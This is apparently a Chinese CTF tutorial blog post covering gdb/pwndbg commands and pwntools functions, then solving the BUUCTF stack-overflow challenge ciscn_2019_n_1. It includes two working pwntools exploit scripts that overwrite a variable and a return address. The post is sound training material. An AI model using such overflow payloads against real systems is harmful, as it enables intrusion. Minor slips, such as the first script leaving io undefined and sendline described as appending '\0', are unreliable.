我们在做Linux平台下的pwn题目的时候,调试是必不可少的一步,在调试的过程中找到漏洞并用pwntools写出攻击脚本。
对于很多新手来说,Linux下的调试,也就是gdb的使用不是很熟悉,今天,我们就通过一道题目来详细学习dbg和pwntools的使用:
题目来自buuctf,pwn方向,ciscn_2019_n_1。
gdb:
我们在Linux平台下调试的时候,可以使用原生的dbg,但是很多师傅说原生的gdb用起来不是很舒服,所以我就也用的pwndbg插件。
- 插件安装方法:(这里我使用的是Ubuntu18)
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
1.调试程序:
gdb 文件名
2.给程序下断点:
首先,我们可以到IDA中找到想要下断点的地址,或者直接下载main函数也可以:
这里注意,如果要在地址上下断点,格式为:b *地址
要注意这里的*符号
3.运行程序
我们在做题的时候,可以先运行,看看程序大概流程,或者说下了断点之后,要运行到断点
start
:执行到入口点函数(各种main函数)
run
:运行到第一个断点处,如果没有断点,则直接跑完程序
c
(Continue):继续运行
这里还要注意,如果在程序运行中使用start,则将重启程序
4.查看
我们在调试的时候,经常需要查看寄存器,地址或者查看断点,我们使用i命令:
i b
:查看断点
i $eax
:查看eax寄存器的值
除此之外,我们还能够使用x
来查看指定内存/寄存器:
x/20b $eax
:查看,20字节,以byte形式,eax地址
这里要注意一下附加参数:
- i:反汇编
- b:byte形式
- w:word形式
- g:8字节形式
- s:以字符串形式显示
5.断点相关:
我们在调试的时候肯定需要下断点和取消断点操作
b *地址
:在指定地址上下断点
i b
:查看所有断点
d 序号
:去掉指定序号的断点
disable 序号
:禁用断点
enable 序号
:启用断点
6.反汇编:
disassemble
:例如说:disassemble $rip
:从rip开始反汇编
7.执行:
单步执行:ni
单步步入:si
执行到函数返回:finish
8.最常用的指令:set(设置内存/寄存器的值)
例:set *地址 = 值
可以看到,这里成功修改了内存的值。
pwntools:
这里来简单介绍一下pwntools的使用:
from pwn import*
:引入pwn库中的函数、
remote("ip:,port)
:远程连接
process()
:打开新的进程
gdb.attach()
:将进程附加到gdb
- 发送相关:
send()
:发送数据
sendline()
:发送数据,并进行换行(末尾加上’\0’)
sendafter(string,payload)
:在接收到string之后,发送数据
sendlineafter(string,payload)
:在接收到string之后,发送数据,加上换行 - 接收相关
recv(n)
:接收n个字符
recgline()
:接收一行输出
recvlines(n)
:接收n行输出
recvuntil(string)
:接收到string字符串为止 - ELF相关
symbols['function']
:找到function函数的地址
got['function']
:找到function的got表项地址
plt['function']
:找到function的plt表项的地址
ciscn_2019_n_1:
我们来通过这道题,看一下这道题:
我们首先来静态分析:
可以看到,这里程序的大致流程是:输出字符串,提示用户输入,用户输入,判断某个地址的值,然后分支进行执行,而且这里有后门函数,这就是非常简单的题目。
我们来通过动态调试看看,我们将断点设置在get函数之前,查看栈上的情况:
这里给出详细的过程:
gdb ciscn_2019_n_1
b *0x400691
run
可以看到,这里是将一个缓冲区的地址给到了rax(lea rax,[rbp - 0x10]),然后调用get函数
我们来看看栈上的情况:
可以看到,这个缓冲区下面就是rbp,然后是返回地址,我们可以做到流程劫持
我们再来看看静态分析:
我们可以看到,这里可以直接执行命令cat /flag
,方式为:
比较var_4的值,然后可以通过跳转执行,但是这个var_4是输入缓冲区的后面几个字节,我们将后面几个字节设置为预设的值,我们就可以让命令执行,拿到flag。
所以这里就发现有两种:1.通过栈溢出劫持返回地址,2.通过输入最后的几个字节,让跳转不执行,从而执行命令cat /flag
1.通过覆盖var_4:
我们只要将var_4覆盖为41348000h即可通过验证,从而执行cat /flag
,但是这里有00,我们无法输入,这时我们就要使用pwntools脚本完成了:
写出来的脚本:
from pwn import *
#io = remote("node5.buuoj.cn",26117)
payload = b'A'*(0x30 - 4) + p64(0x41348000)
io.recvuntil("number.\n")
io.sendline(payload)
io.interactive()
我们通过python解释器执行:
可以看到我们已经拿到了flag
2.通过流程劫持
我们也可以通过栈溢出,直接覆盖返回地址,将rip指向execve(“cat /flag”),直接执行
编写脚本:
from pwn import *
#io = process("./ciscn_2019_n_1")
io = remote("node5.buuoj.cn",29936)
payload = b'A'*0x38 + p64(0x4006BE)
io.sendline(payload)
io.interactive()
至此,gdb的使用和pwntools的使用就讲完了,当然,他们的高级使用远远不止这些,师傅们可以自行探索,如果在题目过程中有不理解的地方,可以私信我,当然,如果文章中有错误,还是希望大家指正,大家一起进步!!!